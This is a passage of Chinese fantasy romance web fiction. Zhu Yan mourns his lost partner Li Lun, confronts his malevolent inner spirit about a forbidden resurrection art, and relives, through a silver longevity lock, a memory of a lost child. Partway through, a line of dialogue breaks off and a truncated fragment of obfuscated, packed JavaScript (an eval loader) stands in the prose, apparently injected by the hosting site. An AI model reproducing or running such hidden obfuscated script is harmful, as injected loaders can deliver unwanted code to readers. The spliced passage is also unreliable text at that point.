槐江谷小居,被戾气一把赶了出来的朱厌,正坐在寝室主卧里,盯着手心飘浮着的几行上古红字,有些失神。 戾气果真没骗他,真的给他一直苦苦找寻着的‘死生之术’。 “大人!”茯苓马不停蹄赶来却又看到了朱厌一幅失魂落魄的模样,吓得她内心一沉,以为他又出了什么事情,“大人?” 茯苓的声音有些大,朱厌被她吓了一跳,连忙收回手中飘浮着的几行红字,敛了敛脸上的失态:“嗯。我没事。” “大人...”茯苓的脸色有些不太好看,一幅欲言又止的模样,暗自深吸了一口气才开口,“茯苓辜负大人所托,没有找到他...” 朱厌这才想起先前吩咐茯苓外出寻人之事,思索一会后开口:“不用了。他已经来找我了。” “乘黄?”朱厌此话一出,站在眼前的茯苓一愣,“...乘黄...来寻大人了?何时的事?” 先前朱厌命她私下外出寻乘黄之迹,为的就是要夺取他手里的魑魅沙漏,还有寻回被他顺带盗取走的日晷法器。 “前日夜里。不过这样,也好,省的我还要花心思再去找他...” 朱厌走到窗前,盯着屋外些许灰蒙蒙的天,伸手接住了从天飘落下的絮絮白雪,望着外头的眼神,黯淡得很是落寞。 差不多了... 50.布偶小兔子 茯苓瞧见朱厌很不对劲的神色,心里头音乐大致猜到出,她外出离开的这段时间里,朱厌定是发生了什么事情。 朱厌若是不愿意说的,肯定不会同她说,那她一会,只能去一趟昆仑神山了... 朱厌收回接雪的手和望着外头的目光,像是想起了什么,转身走向一旁的箱子,开了箱子,又忽而对着茯苓一问:“你受伤了。” 不是询问,而是肯定。 茯苓一愣,她已经提前将身上的血腥气遮掩了,还是被察觉到。 “嗯。”她淡淡一说,好似真的受的不过是一些细微的皮肉之伤而已,“不过是小伤而已,不碍事。” “伤就是伤,不分大小。槐谷药屋里,里头有很多疗效颇好且能增进修为,固本养元的伤药。” 朱厌的语气淡淡的,让人听不出他此时此刻的情绪:“这段时间辛苦了,若是无事,便别再外出。有事让手下人去办就好了,你就留在谷内,好好养伤吧。” “槐谷药屋...那不是小殿下的...” 茯苓说到一半才意识到自己说了什么,赶紧闭嘴,下意识看向朱厌。 可是站在角落里,背着她的朱厌,一言不语,只是停下了手上翻找东西的动作。 “嗯。”朱厌语气淡得好似不关他事一样,“那药屋,我已经收拾好了。屋内放着的那些药,我也已经分类好了,你按照药签寻药即可。” 女人的第六直觉,加上朱厌的答非所问,让茯苓觉得,如此奇怪的他,定是有心事,但她又说不出心里头的那股接踵而来的疑惑和不安源于何处。 猜不透朱厌心思的她,只好顺着他的话回应:“多谢大人。茯苓先告退。” 茯苓离开,室内又只剩下朱厌一人。 朱厌循着模糊的记忆,在屋内翻箱倒柜找了老半天,终于在另外一个箱子里,找到了一个早已褪色得看不出原样的东西。 是一个残破的布偶小兔子。小兔子早已褪色得根本看不出原来的样子。 朱厌将手覆在上面,待到手离之时,原本残破不堪的布偶小兔子,变得格外崭新。 小兔子底下翻过来后,绣着的一小行字,东倒西歪的,看得出,此人的绣工极差。 上面歪歪斜斜绣着的小字:送崽崽的生辰礼。 盯着布偶小兔子,朱厌目光突然一柔,嘴里自我呢喃着:“妖丹为引,心血为脉,招魂结魄...” 朱厌摸了摸小兔子的脑袋,颇为伤感:“可是...我只有一颗妖丹...怎么办呢...” 槐谷药屋内的茯苓,将刚上完药左肩落下的衣裳拉起,还没来得及收拾混乱的桌面,胸口乍一疼,一大口血从她嘴里吐出。 “咳咳!”茯苓咳了又咳,嘴角的血流得更猛了。 抬起的手背擦去碍眼的血渍,茯苓拉起左臂的衣袖,一道沟壑交错的长疤,从她手腕一直蔓延到手臂位置。 手腕的疤痕开始的地方,还有一道小小的月牙长印,此时正闪着弱光。 ... 一身粉白长裙的少女,一脸欢快地跑到星月阁,一把倒进正看着书的人怀里。摊开的掌心中央,浮出一对一黑一白,相互对持着的漂亮长弓。 “阿月,你看!星月弓跟云火弓,我做出来了!” 正在看书的人抬起头,那张精致绝美的脸,一向冷淡得如同高山冰雪的脸上,不由露出一抹柔和的笑。 “嗯。我就知道我们阿苓,肯定能做出最厉害的神器。” ... 站在天机盘不远处的人,持着星月长弓,语气清冷,可脸上却忍不住流露出愤怒:“我看你真的是彻底疯了!要为了那个人如此糟蹋自己!” 可是,站在她对面的人,眉梢微挑,嘴角微勾,根本没有理会她,继续朝前走去。 “你一旦入了这天机盘,堕为妖,你我自此便是仙妖殊途了。你一定会后悔的!” 粉白少女眼眸一闪,嘴角似笑非笑却带了十足的鄙弃:“做个逍遥自在,有血有肉的妖,不好吗...” ... 望着这道长疤,又想起了不算开心的回忆,茯苓的眼神瞬间晦暗了几分:“当初不是你说的,仙妖殊途吗...” 将槐谷药屋收拾干净后,茯苓直接去了昆仑神山。 还没踏入昆仑小居,就听到了喧闹的说话声,还有一群叽叽喳喳的孩童声音,颇为热闹。 茯苓刚进去,被英招接走的槐精们一看,一下子就从围着的人冲到了她跟前,肥嘟嘟的小脸上个个兴奋不已:“好久不见啊,茯苓大人!” 槐精一号巴眨着大眼睛,亮亮的,盯着茯苓一直看:“茯苓大人,你怎么比我前几天见你,又美了呢...” “笨蛋!哪是几天?明明就已经很久很久没有见到茯苓大人了。大人,你说对不对呀?”一个胖乎乎的槐精抱着茯苓的大长腿,傻乎乎笑着说个不停。 茯苓摸着他们的脑袋,笑着问他们:“你们最近有没有乖乖听妖后大人的话呢?有没有好好照顾大人呢?” 槐精们开始你一言我一语,陆陆续续跟茯苓告状兼禀报:“大人大人!妖后大人他前些日子,揍了白娘子呢!白娘子被揍得都掉修为了,英招爷爷怕他也揍我们,一把将我们撵来了昆仑山...” 茯苓刚想开口问个清楚,一道富有磁性又好听的声音,先她开口。 “好久不久,茯苓。” 茯苓见状后,露出一笑,单手扶肩,冲他行了一个礼:“好久不见,卓翼宸大人。” 眼前的男人,气宇非凡,身姿挺拔,腰配一把上好的长剑,那便是诛邪斩妖的云光剑。 来人正是卓翼宸,凡间缉妖司的一司统领,掌管着缉妖司的一切。 没有见到另外一位熟悉的人,茯苓疑惑一问:“神女大人呢?没同大人一起来大荒吗?” 卓翼宸蹲下身子,抱起一个才刚化形不久,话都还不会说的槐精,一边逗趣着槐精一边笑着说:“文潇的历练,还差些时日。等她历练结束了,再来大荒。” 茯苓一听,眉眼一挑,双手交叉抱在胸前,整个人倚靠在身后的大门上,语气有些调侃:“怎么?她历练,卓大人无需陪同吗?就这么放心?” 卓翼宸一下子就听出她话语里的调侃,顺着说:“放心。她已经不是以前的白泽神女了,可厉害呢,我都打不过她。” 茯苓一听,顿时来劲,同卓翼宸擦身而过时,靠近他几分,带着几分好奇的玩味,小声一问:“打不过?床上也打不过吗?真差劲!” 卓翼宸一听,那张一向严肃清正的脸,顿时有些变了色,眼神都不知道往哪里放才好,结结巴巴了老半天也没憋出一个字。 真的是... 怎么朱厌身边的人,个个都跟他一样...光天化日的,荒唐至极!!! “饺子煮好了!大家快来呀!” 英磊的手上各自托拿了一个超级大的大盘子。盘子里头装满了个头大又晶莹剔透的饺子,香味四溢,让人看了顿时饥肠辘辘,垂涎三尺。 “山神大人!好香呀!”槐精们一看,又像一群嗷嗷待哺的小萌鸡一样,朝着英磊冲去。 “欸欸欸,小心烫,别挤我呀,你们可都算是昆仑小居半个小主人呢。” “今日卓大人来访,你们要像个小主人一样招呼人家才对呢,快去里面拿碗还有筷子。” “好!!!”槐精们齐声一应,声音大到英磊顿时觉得自己耳朵都快聋,顿时眼睛都不由眯了起来。 “嗯?茯苓也来了,朱厌呢?”看到茯苓,英磊伸长了脖子往她身后看了又看,但是并没有看到朱厌的身影。 “大人还在槐江谷呢。”茯苓一边说着一边伸手接过英磊手上的两大碟大饺子,小心翼翼放在前院的大桌上。 “行吧!茯苓跟小卓大人啊,里头还有饺子呢,你们帮忙都给煮了,记得不要煮太久哈,浮在水面熟了就捞出来,我去叫朱厌。” 吩咐完茯苓后,英磊就一股烟跑了出去。 留在原地兼客人的卓翼宸跟茯苓:... “朱厌朱厌!你在哪儿呢?”英磊的人还未到槐江谷小屋,声音就已经穿进去了。 突如其来的大嗓门,倒是把正盯着手中布偶兔子的朱厌给拉回了神。 朱厌伸手揩走眼角的残泪,手上动作有些笨拙的收拾着。有些惊慌的他,反而收拾一个掉落一个。 他根本就忘了,其实只要自己轻轻一动法术,桌上这些被他弄得乱七八糟的东西都可以在一瞬间就被收拾得干干净净地。 英磊闯进来的时候,朱厌才收拾了两箱,一下子就看到了散落在桌面,还有地上的各种小玩意。 有破了洞的布老虎,有枯黄的草蟋蟀,有变了色的小鼗鼓,有早已看不出原形的纸鸢... 英磊一下子就呆在原地了,这些东西,不是... 朱厌瞧见是英磊,微闪的眼眸刻意错开与他对视,手上自顾自收拾起这些小玩意。 “英磊,找我有什么事情呢?” “呃...呃...”英磊顿时就忘了自个来槐谷的目的,呃了老半天才想起,“卓大人来大荒了,我专门包了你们喜欢吃的大饺子,特地来叫你过去一起吃饭。” 朱厌听完后,脸色淡淡的,直接开口一拒:“我不去了,你们吃就好了。” 大荒的妖怪,修炼到一定的境界,是可以不食不寝的。 但朱厌跟英磊都喜欢凡间的烟火气,也喜欢凡人的菜肴,进出凡间久了,自然也无意之间保持了跟凡人一样晨起夜眠的作息时间。 英磊自是察觉出朱厌的不对劲,看着朱厌跟一桌子一屋子的孩童玩具,一下子就猜到,定又是他触景生情了。 看到朱厌这幅又半死不活的熟悉模样,英磊暗自小九九起来。 唉...早知道就不应该让爷爷把槐精们都带去昆仑小居,虽然有槐精们在,是热热闹闹还一直吵得他头疼,吵是吵了点嘛...但还是很有意思的。 爷爷一带走槐精们,槐江谷又恢复到了以往那幅死气沉沉,冷清孤寂的模样,朱厌也开始半死不活了... “那个...凡人不是说了嘛...”英磊开始绞尽脑汁劝说起朱厌来,“有朋自远方来,不...什么不的...” “不亦乐乎。”朱厌顺嘴接上了英磊的话,可手却依旧没停地收拾着东西。 “没错!就是这个。你看,小卓大人难得来一趟大荒,我们作为东道主,不招呼人家这像什么话呢!你说对吧对吧!” 英磊一边说着一边搂着朱厌,将他往门外带去,一边还动用起术法来,散落一地跟一屋子的小玩具们开始自动归位。 当然,还有些破破烂烂得实在是让人看不下去的,英磊还帮朱厌给丢了。 “这些...”被他搂着正往外走的朱厌想要挣脱转身回屋,根本就来不及阻止,又被英磊一把动手给转回了身子。 “那些都破成什么样子了,你留给槐精们玩,我估计他们都要往上面吐几口嫌弃的口水,丢了丢了!” 英磊的力气很大,朱厌有些抵挡不住他,只能被动跟着他走。 两人一拉一扯之间,一块微微变了色的银制小锁,从英磊的袖内,无意掉落在槐谷主卧房门口... 昆仑小居门内嘻嘻哈哈的声音正热闹着呢,门外又断断续续传来了一声又一声哀嚎与抗议。 “咳咳...你再继续,我要变成猴干了...” “英磊!咳咳!我快被你骨头膈死了!咳咳!你别 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“还有...我喜欢桃花酿,记得给我捎上一壶...” “还有啊,记得给我带多一些漂亮的衣服...” 再一次发出又一声抗议哀嚎后,英磊终于把他放下来了! 朱厌落地后,只觉得眼前一片眩晕,发黑的两眼缓了许久后才回过劲儿来。 等到彻底缓过神后,朱厌忍不住伸出脚,朝英磊小腿上踢了一脚,嘴里还嘟囔着说:“回头我就告诉爷爷,你‘虐待’我!” “嘶——”朱厌这一脚用力不小,被踢了一脚的英磊顿时疼得龇牙咧嘴起来,下意识嘴就快起来了,“朱厌大妖!你这个臭脾气,也就只有离仑那个破木头才受得了你,可恶的白猴子!” ‘离仑’这个名字一出,正坐在院子大桌上吃着饺子的在场诸位们,个个手里还夹着的饺子,纷纷落碗掉桌。 卓翼宸见状,忍不住咽了咽口水,跟茯苓当即对视了一眼后,又朝还在原地疼得哇吱大叫的英磊看去—— 突然安静下来的四周,终于引起了英磊的注意。 “怎么突然这么安静了...”英磊龇着一大口白牙一看,才后知后觉自己究竟嘴快说了些什么,忍不住侧过脑袋,又伸手拍了拍自己的小嘴,有些石化在原地。 英磊内心哀嚎道:我这把不住门的破嘴呀... 朱厌站在他身边,脸上看不出任何神情,就是脸色白了些。他也没说什么,径直朝着院子的那张大桌子走去。 “朱厌我...”英磊一瘸一拐地走在朱厌身后。 茯苓起身,有些尴尬地拿出碗筷,为朱厌装了一小碗饺子:“咳咳!大人,趁热吃。” “朱厌,那个...好久不见呀...”卓翼宸见状,夹了一个韭菜饺子到朱厌的碗里。 气氛突然降至冰点,朱厌自是知道了尴尬,随即便笑着开口:“好久不见,小卓大人。” 英磊在朱厌身边坐下,卓翼宸将装好的饺子递给了他。 英磊眼睛偷偷瞄了瞄一旁的朱厌,揣着明白装糊涂的舀了一个大饺子到朱厌碗里,嬉皮笑脸道:“你不是喜欢猪肉饺子吗?我专门给你包的,尝尝?” 朱厌有些无奈的轻叹了一口气:“你们无需如此杯弓蛇影,一惊一乍的。我没事,我饿了,赶快趁热吃。” 白玉勺子装着皮薄馅大的饺子,里头肥瘦相见间的猪肉夹缀了些许翠绿葱花,把饺子皮撑得晶莹剔透的,包裹在香味四溢的汤水之中,简直是色香味俱全的美食盛宴。 朱厌咬了一口英磊舀给他的饺子,英磊见状,暗自偷松了口气。 其实,不止是他,连带着在场的所有人,都偷偷送了一口气。 “妖后大人,我这个是荸荠猪肉口味的,你尝尝~” 一旁才化形一段时间的小槐精,握着比自己的手还要大上好几分的大汤勺,颤颤巍巍的将饺子叉到了朱厌碗里。 “好吃吗?”槐精眼睛亮亮的,一脸期待望着朱厌。 朱厌点了点头,笑着摸了摸他的小脑袋。 一场无声的闹剧,在欢声笑语之中,偷偷拉下帷幕... 太阳沉没,暮色将至,晚霞飞天,宛若仙女彩绸,高悬于天。 卓翼宸难得来大荒一趟,便在昆仑小居宿下了。茯苓则是陪槐精们玩着,英磊则忙于收拾桌子跟研究新菜式。 只有朱厌,只身一人,回到了冷清孤寂的槐江谷。 朱厌刚踏入寝室主卧的大门,脚底传来一阵踩到东西的奇怪触感。 他俯身捡起一看,竟然是一块略微变了色的银制小锁。 虽然看得出因年代久远,有些地方的花纹款式早已磨得不见了,但依稀可见,这枚银锁的精致款式与超凡做工。 是一块很漂亮的长命锁。 朱厌很疑惑,下午他在这屋内时并无看到这一块如此精致的长命锁。 盯着长命锁的红瞳,闪过一抹疑惑。拿着长命锁,便往寝室里头走去。 英磊的? 还未待朱厌再多细想,背在身后的手,指尖不自觉摩挲着长命锁上的花纹。 忽然,一抹红色的戾气,背着他,从长命锁里头缓缓飘了出来。 “师傅,这里位置的花纹,如此雕刻,手法可正确?” 身后传来一道熟悉的少年声音,惹得朱厌当下便转身望去。 这一望,朱厌整个人彻底愣在原地,连原本想要挪动前进的脚,顿时都觉得犹如灌了千斤重铅般,寸步难行... 是朱厌。是他。是他自己。 不! 更准确的描述是,是几万年前,年少的朱厌自己。 51.长命长命 一抹红色的戾气,从朱厌手里那枚变了色的长命锁内,钻了出来,飘到了半空。 本想朝屋内走去的朱厌停下脚步,盯着看的眼里,瞳孔蓦地一震—— 红色戾气化作的画面,好似一幅绵长展延的画卷,而这道俏皮的说话声,正是从卷轴里头传来的。 ... 画卷里的少年,裹在一身浅杏长衫的身躯,身姿挺拔,纤细却不瘦削。 因出入凡间,为免祸事上身,少年朱厌将自身本体的雪银发色变幻为如同凡间少年般的乌黑长发,只用一根兽骨做的小骨簪,半别着一头及腰青丝。 “师傅,这里位置的花纹,如此雕刻,手法可正确?” 少年朱厌睁着又圆又大的眼睛,一脸期待地望着一旁一位胡子跟头发都发白的老头,一边说着一边将手里的银片递了过去。 老者摸着自己的花白胡子,笑呵着夸了夸朱厌:“小郎君这手法,可比老头子我啊,细腻多了,看得老夫都想收你为徒了。” 老者摩挲着手上精致的银片,不由回想起跟眼前这小郎君的相遇,也算是奇事一桩。 他自小因爱好而随其父入了这银饰,没成想后来倒成了他营生的手艺。 入行几十载,也算是天都城内小有名气的银匠。 可惜,人生光阴似箭,一不小心就到了颐养天年的年纪,老眼昏花的他便只能卸甲归田,过起了带孙养鸡的生活。 这小郎君倒是个奇特之人,听闻他是寻遍了各处各地才寻着了自个。本想这郎君寻他定是有万般着急的急事,不成想就只是想请他教授他,帮忙打制一枚长命锁。 老者看这小郎君的装扮,定是非富即贵的大户人家的公子哥。 出生大户人家的富贵公子哥,想要什么稀世珍宝,哪会是什么难事呀,定是这小公子,闲着无聊,寻人欢喜,蹉跎时间罢了。 于是,老者便当下出声,直接婉拒了朱厌的请求。 朱厌不死心,背着英招跟离仑,风里来雨里去的,来来回回在大荒跟凡间来返了无数次。 最终,才用自己的真诚,彻底打动了这位银匠老者,答应亲自教授他最好的制银手法。 这外行人啊,没个几十年的功底,哪能錾刻出精致的银锁呢? 朱厌可是大荒数一数二的上古大妖,随便动用法术一下,什么稀奇古怪的东西都是应有尽有的。 可他偏不。 他倒是执著,从选银、熔银、打坯、定型、打磨、画图、錾刻,每一步都非得亲自动手。 于是,彼此年岁还小的少年朱厌,有事没事就爱偷跑到这凡间来,跑来老者这里制银。 单是那银料子,都不知道被他打坏了多少块了依旧还不死心。光是第一道选银工序,他就花费了好几个月的时间,更别说其他工序了。 耗费了许多心思跟精力,他终于到了錾刻这一步骤了。 听到老者的夸奖,年少的小朱厌脸上满是喜悦之色。 朱厌在老者眼中,就跟自己年幼的孙子一样,瞧着他开心了,自个也不由随之开心起来。 老头儿开口一问:“小郎君,这块长生锁,是要送给何人呢?” 正盯着手里初现雏形的小银锁看个不停的朱厌,笑着一应:“送给我家崽崽的。” 朱厌从这银匠老者口中得知,在凡间这里,其实佩戴银锁,是有讲究的。 自古风间民俗有言,孩童是不可佩戴亲生双亲赠送的长命锁,需由家中多寿多福的老者长辈们赠送的才方可,才能为初生稚童增添福气长寿之意。 在大荒,大妖结合下的孩子,寿命绵长,福泽无边,不似凡间孩童这般的体弱多病,易病易逝。 朱厌知道,他是大妖怪,离仑也是大妖怪,他跟离仑的娃娃,肯定也是一个很厉害的小妖怪。 所以,他认真寻思过,送给自家小崽子的长命锁,无需家中长辈送,他朱厌自己就是与天同寿的大妖,他送最适合不过了。 说朱厌迷信吧,他有时逻辑清醒得不得了。说朱厌不迷信吧,他有时又很信话本上的鬼神邪祟之说。 朱厌之所以会起了想送自家小崽子长命锁的心思,还是因为看了离仑买来送给他的人间话本子。 里头曾提到了,在凡间呢,刚出生的孩童因体弱,阳气轻,是很容易生病的。 凡人生而平凡,却坚信人定胜天。 于是,心思巧妙的凡人便想着,通过佩戴这长命锁,来向身居九天的满天神佛,祈福祛灾,锁命长寿,保佑娃娃,平安健康,无病无灾,顺利长大成人。 朱厌心里头也清楚的很,这所谓的长命锁,不过是凡人一个讨取好噱头,自欺欺人的说法而已。 可他不在乎,他就是想将世间所有最美好的祝福送给他家崽崽。有他跟离仑在,谁都别想伤他家小崽崽一分一毫。 抬头瞧了下外头些许昏黄的天色,朱厌心中一沉,大喊不妙,赶紧辞别道:“师傅,今日先到这了,麻烦你了,我得回去了,不然家里头,该有人着急了!” 老者一听,不由调侃起来:“家里头的人,该是小郎君的心爱之人吧?” 想到那个人,朱厌的嘴角不自觉上扬了几分:“嗯。” 朱厌一边加快手头的收拾,一边从怀里掏出好几条小金条塞到老人家手里后,将初现雏形的小银锁揣在怀里后,拔腿就跑了。 朱厌是背着英招跟离仑偷跑出来的,虽然凡间跟大荒的时间不一样,但若是呆太久了被发现,回去定是会被英招说一番的。 朱厌悄悄施了法术,一下子就到大荒跟凡间的结界地脉。 “糟糕!怎么才到第一层结界呢...”朱厌站在原地,有点疑惑地挠了挠脑袋。 朱厌不似离仑那么勤快修炼,他的妖力更多的是源于吸收四海八荒之内,天地之间的暗黑戾气后加持而成的。 戾气凶残,不识六感,嗜血成性,易怒易暴,可是只要离仑在他身边,他便不会戾气失控。 可若不勤加修炼,朱厌本身的法术其实很烂的,就好比此刻,本来计划一下子就从凡间蹿到槐江谷的,结果才只到了大荒的第一层结界。 朱厌感觉自己有些好笑:“我这三脚猫的烂法术,还真的是太烂了...都比英磊还要烂上三分了...” 朱厌再一次尝试施法,一只眼睁开一只眼闭着,露出一个颇为古灵精怪的表情。 一睁眼,一抬头,这一看! 好家伙,他搞了大半天的施法,也才把自己送到了大荒向西的苍梧之野,这才到第六层结界而已,还有三层才到槐江谷呢! 实在是可恶! 站在原地的朱厌,抬眼一瞧,忽而眼睛一亮,冲那人所在之地小跑而去,十分开心地喊出声,“阿离!” 离仑在术法上的造诣除了天赋异禀之外,也颇为勤快修炼。彼时的大荒,因为有他鼎盛的槐鬼之力守护着,到处都鸟语花香,四季如春,万紫千红,风景如画。 鸟儿在枝头亲昵地叫唤着,风儿在空中欢快起舞着。 守在苍梧之野结界入口的两棵参天大桃花树,随风一吹,粉嫩清香的桃花瓣铺天盖地纷纷落下,像是一场极为壮观的桃花雨,唯美至极。 粉白桃花雨之中,一道浅杏身影小跑着,一股脑冲进另外一道同为浅杏,但身影颇为高大伟岸的怀里。 离仑一把将朱厌稳稳抱住,嘴里还不断念叨着:“你慢些...” “阿离!”颇为稚嫩的脸从怀里抬起,又大又圆的眼睛睁得亮亮的,好似一池星光,朱厌眉眼含笑,“你可是来接我的?你怎知我会在此处?” 离仑伸手,摘掉落在朱厌脑袋上的桃花瓣,宠溺的语气带了一点无奈:“平日里你最不喜修炼,我估摸着,按照你那三脚猫的术法,顶多也就只能把你自己送到这里了...没成想,还真是被我猜对了...” 离仑平日里除了对朱厌以外,对谁都惜字如金。饶是只有在朱厌跟前,才会如同那凡间妇人老者一般,絮絮叨叨的。 可朱厌就是爱听他如此絮絮叨叨的,他喜欢如此鲜活的离仑,可爱。 当一个人觉得另外一个人可爱的时候,往往便是此人早已深陷多时而却爱得浑然不知的高光时刻了。 朱厌一想到自己的蹩脚妖术就笑得合不拢嘴,反逗着离仑,学着在话本上看到的段子,语气故意整得阴阳怪气的:“哦吼~恭喜恭喜这位小郎君!今日的你,可比昨日的你,更加了解我了!我要赏赐你!” 扶搂着他的离仑一听,嘴角止不住上扬,眉眼一挑,反望着朱厌,也学着他古灵精怪的语气,同他演起戏来:“那...这位如此俊俏的小郎君,可想好,要给我何种奖赏?” 少年朱厌睁着大眼睛,突然画风一转,露出一脸无辜的表情,故意揣着明白装糊涂:“要不,小郎君,奴家我给你变一朵花?” 少年离仑一听,眼里露出一种‘我就知道你又要耍赖’的眼神:“我自己有。” 被他搂着少年上扬的嘴角被自个压了又压,伸出的食指指尖朝离仑勾了勾。 离仑就像一只对主人言听计从的大妖兽,朝他低头俯身过来。 朱厌踮起脚尖,红着小脸,飞快在离仑脸上烙下一吻。离仑整个人一愣,顿时脸上也不自觉烧了起来。 两人当下就各自别开了脸,双双不好意思起来。 伴着漫天飘下数不尽的桃花花瓣,两人之间的气氛,一时之间就变得潮热和粘腻起来。 满天花雨,桃花灼灼,宛若初见,难掩少年情深。 倒是离仑先行开口,轻咳了一声掩饰尴尬又暧昧的气氛。 “累吗?累了的话,我背你。” “不累。” “今日,这小东西可有闹你?” “没呢...他才多大,还早着呢,闹不着的...” “那你饿了吗?回去我给你做。” “好像有一点...” “那你想吃什么?你跟我说,我一会给你做。” “嗯,我想想...” ... 飘浮在半空的画卷里,两个少年远去的身影还在不断对话着,可看着的朱厌早已转身进去里屋。 早在看到卷轴内离仑出现的那一刻,朱厌的眼就红了个彻底,握着长命锁的手无奈地松了又紧,紧了又松。 最后,那一卷戾气变出的画卷,在他眼前彻底消失不见。 朱厌收回的目光里,顿时暗了几分。 又是戾气搞的鬼吗? 朱厌坐到床榻上,微微阖眼,暗红的结界从无到有,开始将他笼罩保护起来,而他,则是进入自己的识海里。 朱厌来到了那座囚禁着戾气的牢笼,可是并没有看到往日里一见到他就跋扈张扬的戾气。 “出来。我知道那个锁,那个长命锁,是你故意留下的。” 不是质疑,而是肯定。 就在朱厌本想再喊一次的时候,终于,一道他无比熟悉的身影,从晦暗的角落缓缓走出。 戾气朱厌在走出来的时候,身影微乎其微地晃了一下,抓着一旁枯树借力撑着的手,指尖都陷了进去还浑然不知。 他走了出来,装出一幅若无其事的模样,目光森冷盯着朱厌看:“你比我想象中的,来得还要晚些。” 戾气朱厌并不知道,他故意留下的长命锁,早在先前就被英磊拿走了。 要不是今日英磊无意落下,朱厌至今都不知道这枚长命锁的存在。 朱厌站在牢外一丈之远,背在身后的手则是紧握着这枚长命锁:“你故意留下这长命锁,也注入了戾气,营造了这一出幻境,所为何意?” “幻境?”戾气朱厌不由一笑,目露鄙夷之色,“我倒忘了,装疯卖傻,不就是你最擅长的拿手好戏吗...” 朱厌没有理会戾气的嘲讽,反而答非所问起来:“你知道所有的真相?你到底想告诉我什么?” “真相?”戾气朱厌拂袖而坐,狂笑不止,却又骤然而停,“我知道啊,可是,我不会告诉你...” “因为,你——不——配——” “为何?”朱厌难得接过他的话,眼色微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是吗?”戾气朱厌一听,更加来劲了,狂笑着朝后退了几步,“那又如何...离仑已经死了,全都死光了,因为你,都是因为你朱厌...” 戾气朱厌边哭边笑,周身逐渐燃起暗红的戾气,在滔天戾气之中,翩翩起舞,甚至还给自己换了一身崭新的黑蓝织纱宽袍,像一只漂亮的长尾珍灰蝶。 戾气哭了。 这是朱厌第一次,见到他在他面前,哭了,像个悲凉又无助的孩子。 朱厌瞧他这副模样,那双暗红浅瞳蓦地震了又震,心中竟涌起几分难过与心疼。 戾气与朱厌相生相成,像亲密无间的朋友,也像难舍难分的家人,又似纠缠不清的爱人。 在朱厌心里,他一直都将戾气当作是一个涉世未深,备受长辈冷落,以至于变成善恶交织,不分是非黑白的稚童,总想以一位身经百战的长者去驯化他。 但此刻,瞧着戾气朱厌单足而立,青墨宽袍长袖一挥一收,明明看似是一位灵动起舞的凌波仙子,却透着一种莫名的悲凉。 戾气朱厌就像是开在淤泥地里的荼蘼,竭尽全力只为在有限的生命里,争取在最后一刻彻底绽放。 衣袍飞舞之中,一起一落之间,如此模样的戾气,更多像是他曾在那些凡间话本里看到的,曾经饱受君王宠爱有加,一夕之间,真心变幻,君恩覆没,被君王贬罚到偏僻冷宫中,最后在无情岁月折磨摧残下,彻底疯掉的妃子一样。 朱厌眼神一直紧随着戾气朱厌的舞姿,心中隐隐有所猜测,纠结几番后还是问出声:“那枚长命锁的主人,不是阿玖,对吧?” 话刚落,舞瞬停。 戾气朱厌背着他,停了下来。挂在嘴角的疯笑如同一张破碎得裂开的面具,瞬间消失得无影无踪。 那双跟朱厌如出一辙的红瞳内,眸光微微动了一下。 “我跟离仑之间...”朱厌眼中涌出很复杂的神色,有些不太确定,“不止有过一个孩子,对吗?” 按照他在冉遗的尘梦迷阵内所看到的白玖,朱厌猜测,那时的白玖至多也就百来岁,对于妖生漫长的妖族来说,还尚未成年。 戾气让他看到的幻境里,自己跟离仑脸上稚嫩痕迹过于明显。他猜测,那个时候的自己跟离仑,应该最多千来岁而已。 “长命长命...”背着他的戾气朱厌,突然目蓄痛色,满脸悲伤,有些哽咽,“可惜,小家伙并没有长命百岁呢...倒像是替你偿了命的无谓牺牲品...” 戾气朱厌看着落到掌心的又一滴泪,不由露出一个苦笑,无奈又无力。 咻的一闪,他一下子又重新蹿到了朱厌跟前,开口的嗓音里好似有万千道嗓音重叠着的混沌,“若不是当初你一意孤行...小豆芽就不会死的...” 朱厌心头一颤,眼里露出难以置信的神色。 小豆芽,是他们给那个小娃娃取的名字吗... 可是,他根本就没有这段记忆... 抑或是,也跟遗忘离仑一样,一并忘却了吗? “朱厌...”戾气朱厌伸出指尖,锋利的指,毫无预警地刺入自己的胸膛,刺向底下那一颗正跳动着的心脏,“你根本就没有心的吧...” 搅动着的利指带动模糊血肉不停翻滚着,让朱厌疼得咬死牙关,他努力隐忍也藏不住脸上狂溢而出的冷汗和嘴角淌血的血。 “疯...”越钻越深入的利指让朱厌实在受不住踉跄着后退,手紧紧捂住心口,“疯子...” “哼——”戾气朱厌冷声一笑,拔出自己插在心口的利指,血肉发出噗嗤声响,鲜血沾满了手心。而他却似一头茹毛饮血的野兽般,伸出又热又红的舌尖将血舔.拭入肚,“论疯谈狠,朱厌,我远不及你的万分之一...” “朱厌,死生之术,需要有人守阵...”戾气朱厌有意无意放出一些破碎的线索,像是循循善诱的师者,教着朱厌如何入局,“净渊...会是最适合的守阵人...” 动用戾气将自己正流血不止的心口,勉强止住了些,朱厌抬起一脸不解的脸,他没有说话,只是静静望着戾气朱厌。 净渊吗? 当初苏醒后去往九幽,净渊曾说过他知道一切但无法告知他真相。 净渊更是朝他抛出,只要找到离仑的命格法器,便能借之回到过去的法子。 乘黄夜袭槐江谷,主动找上他的时候,远在九幽鬼域的净渊,又好巧不巧就刚好赶到且救了他... 如此巧合的巧合,真的会是巧合吗... 52.八十九颗花生 朱厌还想继续再问,可是戾气朱厌根本就不再理会他,只是一个劲在里头跳着舞。 朱厌前脚刚走,戾气朱厌便停下了跳舞,背过去的身子瞬间跪倒在地,一大口血从嘴里吐了出来,黏稠的血红顺着唇一滴又一滴地滴在地上。 颤着的手,无力捂上自己的心口,心脏深处却涌起一股活物翻动的疼,他又吐出了又是一大口血。 戾气朱厌脸上有些自暴自弃,直接整个人侧倒在地。 看着不远处高悬着的那朵干枯发黑的莲蕊,朝着那莲蕊,伸出疼到止不住颤的手,似要抓住这抹枯黑。 “该死的...三万多年了...”戾气朱厌说着说着,眼泪顺着他的眼角,没入早已变黑多时的发丝,沾满血的嘴却止不住的笑,“你都死了,还留这该死的封印...护着他...锁着我...” 鲜血染红了戾气朱厌的齿,露出一个悲凄的笑:“再不出去...我真的要死了...” 从识海回来的朱厌,望着满天月色,毫无睡意,倒是直接只身一跃,拎着前段时间英磊送他的石榴酒,直接坐到了屋檐上。 